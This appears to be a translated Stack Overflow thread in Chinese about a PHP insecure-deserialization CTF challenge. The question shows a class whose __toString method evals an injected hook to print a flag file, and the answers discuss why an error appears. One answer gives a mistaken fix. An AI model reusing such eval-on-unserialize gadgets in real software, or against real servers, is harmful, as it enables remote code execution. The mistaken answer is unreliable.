0

我正在做一个关于 PHP 中不安全的反序列化的 CTF 挑战。目标是通过将代码注入反序列化来打印标志以执行print_flag()函数。我怀疑网络服务器只打印脚本回显的最后一行,这会覆盖标志的输出,即使在调用exit().

提供了在网络服务器上运行的部分 php 代码。我已经在我自己的 php 脚本中实现了它,以找出哪些有效,哪些无效。我已经成功地序列化了一个在反序列化时执行代码的对象。通过调用exit(print_flag());标志打印,没有任何进一步的错误......至少在我的脚本中。当我将序列化对象发送到网络服务器时,它仍然会打印更多错误。

此外,我尝试从注入的代码中返回一个字符串。那也行不通。

function print_flag() {
    print file_get_contents('/var/flag/flag.txt');
}

class Example2
{
    private $hook;

    function __construct() {
        $this->hook = "exit(print_flag());";
    }

    function __toString()
    {
        if (isset($this->hook)) eval($this->hook);
    }
}

$flag = new Example2();
$serialized = serialize($flag);
print "$serialized\r\n";
$deserialized = unserialize($serialized);

该代码类似于挑战中显示的代码,但经过修改使其适用于我。

我希望代码只返回标志。在我自己的机器上执行脚本时,输出为:

O:8:"Example2":1:{s:14:"Example2 hook";s:19:"exit(print_flag());";} thisistheflag

当我没有调用它时exit()

PHP Recoverable fatal error: Method Example2::__toString() must return a string value in ../phpObjInj.php on line 39"

网络服务器返回:

可捕获的致命错误:方法 Example2::__toString() 必须在第 79 行的 /var/www/index.php 中返回字符串值

如何停止打印错误?

4

2 回答 2

0

删除构造函数中的双引号,function __construct() 而不是

function __construct() {
    $this->hook = "exit(print_flag());";
}

利用

function __construct() {
    $this->hook = exit(print_flag());
}
于 2019-05-16T13:49:22.247 回答
0

发生错误是因为unserialize($flag);. 由于 to 的参数unserialize()应该是一个字符串,它会尝试将Example2对象转换为字符串。您可能打算使用unserialize($serialized);.

但更一般地,您应该确保该__toString()方法返回一个字符串。如果你不关心它是什么,你可以返回一个空字符串。

function __toString()
{
    if (isset($this->hook)) eval($this->hook);
    return "";
}

当您在钩子中时不会发生错误,exit()因为脚本在方法返回之前退出__toString(),因此它从不检查返回值。

之后没有执行任何操作exit()。以下是操作顺序:

  • new Example2- 创建新对象
  • serialize($flag)- 创建一个代表对象的字符串
  • print "$serialized\r\n";- 打印上面的字符串

以上步骤都不需要调用__toString(),所以钩子还没有执行。

  • deserialize($flag)- 这需要转换$flag为字符串,以便可以将其解析为序列化数据。
    • 称呼$flag->__toString()
    • eval($this->hook)
    • 调用print_flag(),打印标志
    • 调用exit(),终止脚本

因此,您看到打印了序列化对象,然后打印了标志,然后没有其他内容,因为exit().

为了演示该漏洞,您应该unserialize()使用正确的参数调用。

$deserialized = unserialize($seralized);
echo $deserialized;

echo语句将导致__toString()调用该方法。这将退出脚本,并且您不会收到错误消息。

于 2019-05-15T20:44:10.443 回答